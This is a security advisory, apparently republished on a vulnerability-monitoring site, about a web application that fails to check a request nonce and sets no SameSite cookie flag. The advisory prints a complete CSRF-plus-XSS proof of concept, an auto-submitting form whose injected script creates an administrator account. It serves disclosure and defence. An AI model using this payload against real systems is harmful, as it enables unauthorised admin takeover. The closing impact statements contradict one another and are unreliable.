Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-rf24-wg77-gq7w
No affected components available
Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce : <img width="1418" height="772" alt="user_creation_without_nonce_burp_request" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
And this request can also be made without nonce.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
- There is no validation of the
nonce(as mentioned above) - The
sessioncookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account:
<img width="1226" height="925" alt="browser_template_editor_with_final_payload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard